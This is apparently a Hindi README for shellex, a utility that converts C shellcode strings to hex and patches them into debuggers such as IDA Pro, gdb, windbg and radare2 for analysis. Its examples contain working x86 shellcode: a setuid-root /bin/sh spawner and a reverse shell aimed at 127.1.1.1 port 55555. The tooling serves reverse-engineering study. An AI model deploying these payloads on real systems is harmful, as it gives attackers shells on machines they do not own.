
C-शेलकोड से hex कन्वर्टर, IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity डीबगर और 010 editor में शेलकोड पेस्ट और निष्पादित करने के लिए उपयोगी उपकरण
चेतावनी: दुनिया का सबसे बदसूरत कोड
C-शेलकोड से हेक्स कनवर्टर।
कृपया, एक दान करने पर विचार करें: https://github.com/sponsors/therealdreg
IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger और 010 editor में शेलकोड पेस्ट और निष्पादित करने के लिए उपयोगी उपकरण।
क्या आपको C-शेलकोड को हेक्स में बदलने में समस्या हो रही है (शायद c-टिप्पणियाँ+ASCII मिश्रित?)
यहाँ shellex है। यदि शेलकोड को C कंपाइलर में कंपाइल किया जा सकता है तो shellex इसे बदल सकता है।
बस shellex चलाएँ, शेलकोड c-स्ट्रिंग पेस्ट करें और ENTER दबाएँ।
समाप्त करने के लिए Control+Z (Windows)/Control+D (Linux) का उपयोग करें।
c-शेलकोड-मल्टी-लाइन-हेक्स+मिक्स्ड_ascii को बदलना (मिक्स्ड भाग पर ध्यान दें \x68//sh\x68/bin\x89):
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex आउटपुट:
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
c-शेलकोड-मल्टी-लाइन-टिप्पणियों-सहित को बदलना:
"\x68"
"\x7f\x01\x01\x01" // <- IP: 127.1.1.1
"\x5e\x66\x68"
"\xd9\x03" // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"
shellex आउटपुट:
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE
क्या आपको shellex आउटपुट को एक नई c-शेलकोड-स्ट्रिंग के रूप में चाहिए? बस -h पैरामीटर का उपयोग करें, shellex आउटपुट को बदलने का उदाहरण:
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80
git clone https://github.com/therealdreg/shellex.git
बाइनरी:
shellex\bins\shellex.exe
निर्भरताएँ:
sudo apt-get install tcc
बाइनरी:
shellex/linuxbins/shellex
बस मेरे xshellex प्लगइन का उपयोग करें:
https://github.com/therealdreg/xshellex
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
def writebytes(dest, str):
for i, c in enumerate(str):
idc.patch_byte(dest+i, ord(c));
address = idc.get_reg_value("eip")
shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
writebytes(address, shellcode)
print("done!")
IDA PRO में एक प्रोग्राम डीबग करें:
अब आप F7 से शेलकोड डीबग कर सकते हैं, लेकिन हो सकता है कि Disasm Window शेलकोड को db के रूप में दिखाए।
यहाँ समाधान है:
हो गया! आप शेलकोड को डिस्सेम्बल देख सकते हैं और F7 से डीबग कर सकते हैं।
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
बाइनरी फाइल को वर्तमान इंस्ट्रक्शन पॉइंटर पर लिखें:
32 बिट के लिए:
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip
64 बिट के लिए:
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip
x/30b शेलकोड के बाइट्स में आकार है, आप यह आकार इसके साथ प्राप्त कर सकते हैं:
wc -c /tmp/sc
x/15i प्रदर्शित करने के लिए इंस्ट्रक्शन की संख्या है, आप ndisasm के साथ सही संख्या (शायद) प्राप्त कर सकते हैं:
sudo apt-get install nasm
32 बिट के लिए:
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l
64 बिट के लिए:
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"
patch byte कमांड का उपयोग करें:
32 बिट के लिए:
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80
64 बिट के लिए:
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80
context कमांड निष्पादित करें और जाँचें कि disasm सही है
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
32 बिट के लिए:
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
64 बिट के लिए:
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"
context कमांड निष्पादित करें और जाँचें कि disasm सही है
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
छोटे शेलकोड के लिए eb ठीक हो सकता है, बस shellex आउटपुट को eb कमांड के साथ उपयोग करें (संकेत के लिए Axel Souchet @0vercl0k का धन्यवाद)
32 बिट के लिए:
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
64 बिट के लिए:
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex
certutil आउटपुट:
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.
हमारे शेलकोड की लंबाई 30 है, फिर windbg में L0n30 का उपयोग करें।
बाइनरी फाइल को वर्तमान इंस्ट्रक्शन पॉइंटर पर लिखें:
32 बिट के लिए:
.readmem C:\Users\Dreg\sc @eip L0n30
64 बिट के लिए:
.readmem C:\Users\Dreg\sc @rip L0n30
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
32 बिट के लिए:
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip
64 बिट के लिए:
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip
जाँचें कि शेलकोड सही ढंग से पेस्ट हुआ है:
एक टर्मिनल में शेलकोड का आकार प्राप्त करें:
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c
पिछले कमांड का आउटपुट 30 है, अब radare2 में pD कमांड का उपयोग करें:
pD 30
Linux में "\x6a\x17\x58\x31\xdb\xcd\x80" को बदलना:
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex
Windows में "\x6a\x17\x58\x31\xdb\xcd\x80" को बदलना:
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe
Windows में मल्टी-लाइन-फाइल के माध्यम से:
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe
Linux में मल्टी-लाइन-फाइल के माध्यम से:
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex
Windows के लिए बस Visual Studio 2013 का उपयोग करें
Linux के लिए बस:
cd shellex/shellex
gcc -o shellex shellex.c
./shellex